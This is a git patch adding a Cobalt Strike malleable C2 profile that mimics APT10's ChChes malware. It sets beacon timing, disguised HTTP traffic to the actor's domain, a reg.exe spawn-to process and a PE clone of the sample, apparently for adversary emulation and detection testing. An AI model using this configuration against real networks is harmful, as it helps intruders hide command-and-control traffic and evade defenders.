From 575e258d76ba4555e20c379131376c7911f1bb2a Mon Sep 17 00:00:00 2001 From: xx0hcd Date: Wed, 30 Jan 2019 16:20:06 -0600 Subject: [PATCH] Create chches_APT10 --- APT/chches_APT10 | 145 +++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 145 insertions(+) create mode 100644 APT/chches_APT10 diff --git a/APT/chches_APT10 b/APT/chches_APT10 new file mode 100644 index 0000000..6a68de0 --- /dev/null +++ b/APT/chches_APT10 @@ -0,0 +1,145 @@ +#APT10 ChChes malware profile +#https://unit42.paloaltonetworks.com/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/ +#https://www.hybrid-analysis.com/sample/6605b27e95f5c3c8012e4a75d1861786fb749b9a712a5f4871adbad81addb59e?environmentId=100 +#xx0hcd + + +set sleeptime "30000"; +set jitter "20"; +set useragent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E )"; +set dns_idle "8.8.8.8"; +set maxdns "235"; +set sample_name "chches_APT10 profile"; + + +#https-certificate { +# set keystore "demo.store"; +# set password "whateverpass"; +#} + +#setting server responses via 3.13 http-config block +http-config { + set headers "Server, Set-Cookie, Keep-Alive, Connection, Content-Type, Cache-Control, Content-Length"; + header "Server" "Apache"; + header "Set-Cookie" "vsid=911vr2589323527124315; expires=Mon, 21-Nov-2022 21:39:12 GMT; Max-Age=157680000; path=/; domain=fukuoka.cloud-maste.com; HttpOnly"; + header "Keep-Alive" "timeout=5, max=95"; + header "Connection" "Keep-Alive"; + header "Content-Type" "text/html; charset=UTF-8"; + header "Cache-Control" "private"; + header "Content-Length" ""; + + +} + +#prob have to change Host header depending on where you are testing. +http-get { + + set uri "/5aq/XP/SY75Qyw.htm"; + + client { + + header "Accept" "*/*"; + header "Host" "fukuoka.cloud-maste.com"; + header "Connection" "Keep-Alive"; + header "Cache-Control" "no-cache"; + + + metadata { + netbios; + prepend "CzFc6k28XGpZ="; + header "Cookie"; + + } + + } + + + server { + + output { + + netbios; + prepend "...........Tmk.0..>..P=.l8~IR.5.;..c[....AQ...F..$'i...NN.4I.L.Kz....ypp9....vE\n"; + prepend "[.......(.....`)I..\n"; + append "...l.|.V2c....0.....Qj.J....\"c..Z...j+A...4-.....U....k.q..-.sf...%.9..x..R...........*+..=....Vce7.....ZX.....#.../...D\".pc*.*IJ5..Y.f.*....1Bq.....|..u....9........,..Z.;.D.9.I5.."; + print; + + } + } +} + + +http-post { + + set uri "/RCg/vp6rBcQ.htm"; + set verb "GET"; + + client { + + header "Accept" "*/*"; + header "Host" "fukuoka.cloud-maste.com"; + header "Connection" "Keep-Alive"; + header "Cache-Control" "no-cache"; + + output { + netbios; + prepend "hmr2In1XD14="; + header "Cookie"; + + + } + + #not really a good place to put this + id { + base64url; + parameter "c"; + + } + } + + server { + + output { + netbios; + prepend "...........Tmk.0..>..P=.l8~IR.5.;..c[....AQ...F..$'i...NN.4I.L.Kz....ypp9....vE\n"; + prepend "[.......(.....`)I..\n"; + append "...l.|.V2c....0.....Qj.J....\"c..Z...j+A...4-.....U....k.q..-.sf...%.9..x..R...........*+..=....Vce7.....ZX.....#.../...D\".pc*.*IJ5..Y.f.*....1Bq.....|..u....9........,..Z.;.D.9.I5.."; + print; + } + } +} + + + +http-stager { + + set uri_x86 "/ST/TWGRYKf0/d/du92w/RUk/Z2l.htm"; + set uri_x64 "/ST/TWGRYkf0/d/du92w/RUk/Z2l.htm"; + + client { + header "Accept" "*/*"; + header "Host" "fukuoka.cloud-maste.com"; + header "Connection" "Keep-Alive"; + header "Cache-Control" "no-cache"; + } + + server { + + } + + +} + +set spawnto_x86 "%windir%\\syswow64\\reg.exe"; +set spawnto_x64 "%windir%\\sysnative\\reg.exe"; + +#peclone from hybrid analysis sample +stage { + set checksum "0"; + set compile_time "23 Nov 2016 19:31:37"; + set entry_point "38807"; + set rich_header "\xcd\x11\x8f\xf8\x89\x70\xe1\xab\x89\x70\xe1\xab\x89\x70\xe1\xab\x3d\xec\x10\xab\x9c\x70\xe1\xab\x3d\xec\x12\xab\x0a\x70\xe1\xab\x3d\xec\x13\xab\x90\x70\xe1\xab\xea\x2d\xe2\xaa\x9b\x70\xe1\xab\xea\x2d\xe4\xaa\xae\x70\xe1\xab\xea\x2d\xe5\xaa\x9b\x70\xe1\xab\x80\x08\x72\xab\x82\x70\xe1\xab\x89\x70\xe0\xab\x03\x70\xe1\xab\xe7\x2d\xe4\xaa\x80\x70\xe1\xab\xe7\x2d\x1e\xab\x88\x70\xe1\xab\x89\x70\x76\xab\x88\x70\xe1\xab\xe7\x2d\xe3\xaa\x88\x70\xe1\xab\x52\x69\x63\x68\x89\x70\xe1\xab\x00\x00\x00\x00\x00\x00\x00\x00"; +} + + +